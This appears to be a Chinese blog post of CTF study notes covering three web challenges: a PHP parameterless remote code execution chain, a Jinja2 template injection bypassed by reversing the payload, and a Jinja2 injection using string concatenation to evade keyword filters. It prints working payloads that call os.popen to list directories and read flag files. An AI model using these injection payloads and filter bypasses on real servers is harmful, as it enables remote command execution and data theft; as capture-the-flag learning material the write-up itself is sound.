4.3学习总结

[HNCTF 2022 WEEK2]Canyource(无参数)

通过这题又接触了一种无参数RCE的方法,前面学习的getallheaders只有在apache环境下才能使用,具有一定的局限性

这里是利用php函数来构造读取flag的方法

localeconv() -- 函数返回一个包含本地数字及货币格式信息的数组 第一个是.

pos() -- 返回数组中的当前单元, 默认取第一个值

next -- 将内部指针指向数组下一个元素并输出

scandir() -- 扫描目录

array_reverse() -- 翻转数组

array_flip() - 键名与数组值对调

readfile()

array_rand() - 随机读取键名

var_dump() - 输出数组,可以用print_r替代

file_get_contents() - 读取文件内容,show_source,highlight_file echo 可代替

get_defined_vars() - 返回由所有已定义变量所组成的数组

end() - 读取数组最后一个元素

current() - 读取数组的第一个元

打开环境,看见';'就能意识到是无参数了

注意这里不是apache环境,所以getallheaders没用,当时我就是尝试了很久都没有成功

先查看返回包含信息的数组

复制代码
code=var_dump(localeconv())

返回数组中的单元,这里因为localeconv返回的第一个是".",所以默认的返回第一个单元就是"."

复制代码
code=var_dump(pos(localeconv()))

返回单元后,扫描单元下目录,利用scandir函数

复制代码
code=var_dump(scandir(pos(localeconv())))

看见了flag,要读取,high和show都被过滤了,所以可以用file_get_contents(),但是flag没有在第一个数组,也没有在第二个数组(如果在第二个数组就可以用next使得内部指针指向下一个单位来读取)

可以翻转后再进行调整

复制代码
code=var_dump(array_reverse(scandir(pos(localeconv()))))

此时的flag就在第二个位置,用next调整指针位置来读取

复制代码
code=var_dump(file_get_contents(next(array_reverse(scandir(pos(localeconv()))))))

这题主要是无参数RCE的另外一种构造

[HZNUCTF 2023 preliminary]flask(倒序排序)

打开环境,看见name在做了一些题的情况下应该是能想到SSTI的,开始测试注入的模板

在测试的时候发现对字符串进行了倒序排序,在尝试了6{*comment*}6之后,在尝试{{7*7}}时报错了

在尝试{{7*7}}时报错了(我以为是自己判断的问题,没去想过滤的问题,看了wp才知道是存在过滤,对{{进行了过滤)

既然存在倒序排序,那么就倒序排序payload后注入,负负得正,确实是jinja2模板类型

利用脚本对payload进行倒序排序,如果想尝试手工注入也是可以的

复制代码
import base64

strA = input()
strB = strA[::-1]

print(strB)

{{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("ls /").read()')}}

看见flag了,但是cat出来不是flag

又去查lwp才知道flag在env(环境变量)中,这个环境变量真不容易想到,记得有一次的ctf比赛就有一题flag藏在env里面,但是那题给来语句的暗示,这里我没明白怎么猜到的env

[NCTF 2018]flask真香(字符串拼接)

打开环境,可以直接传参来进行测试

这说明了是SSTI中jinja2的模板类型注入,按照正常来说,应该进行class来返回对象的类

复制代码
{{""['__class__']}}

没有回显,fuzz一下,不止SQL可以fuzz,SSTI也可以

过滤了一些命令吧,那么绕过就是首要问题, 我以为是要用新的命令来代替,没想到是进行拼接

复制代码
%7B%7B""['__cla''ss__']['__ba''ses__'][0]['__su''bcla''sses__']()%7D%7D

os位置269

复制代码
{{""['__cla''ss__']['__ba''ses__'][0]['__su''bcla''sses__']()[269]['__init__']['__glo''bals__']['__buil''tins__']['ev''al']("__im""port__('o''s').po""pen('ls /').read()")}}

看见flag,tac/flag

复制代码
%7B%7B""['__cla''ss__']['__ba''ses__'][0]['__su''bcla''sses__']()[269]['__init__']['__glo''bals__']['__buil''tins__']['ev''al']("__im""port__('o''s').po""pen('tac%20/Th1s_is__F1114g').read()")%7D%7D
相关推荐
西岸行者2 天前
学习笔记:SKILLS 能帮助更好的vibe coding
笔记·学习
悠哉悠哉愿意2 天前
【单片机学习笔记】串口、超声波、NE555的同时使用
笔记·单片机·学习
别催小唐敲代码3 天前
嵌入式学习路线
学习
毛小茛3 天前
计算机系统概论——校验码
学习
babe小鑫3 天前
大专经济信息管理专业学习数据分析的必要性
学习·数据挖掘·数据分析
winfreedoms3 天前
ROS2知识大白话
笔记·学习·ros2
在这habit之下3 天前
Linux Virtual Server(LVS)学习总结
linux·学习·lvs
我想我不够好。3 天前
2026.2.25监控学习
学习
im_AMBER3 天前
Leetcode 127 删除有序数组中的重复项 | 删除有序数组中的重复项 II
数据结构·学习·算法·leetcode
CodeJourney_J3 天前
从“Hello World“ 开始 C++
c语言·c++·学习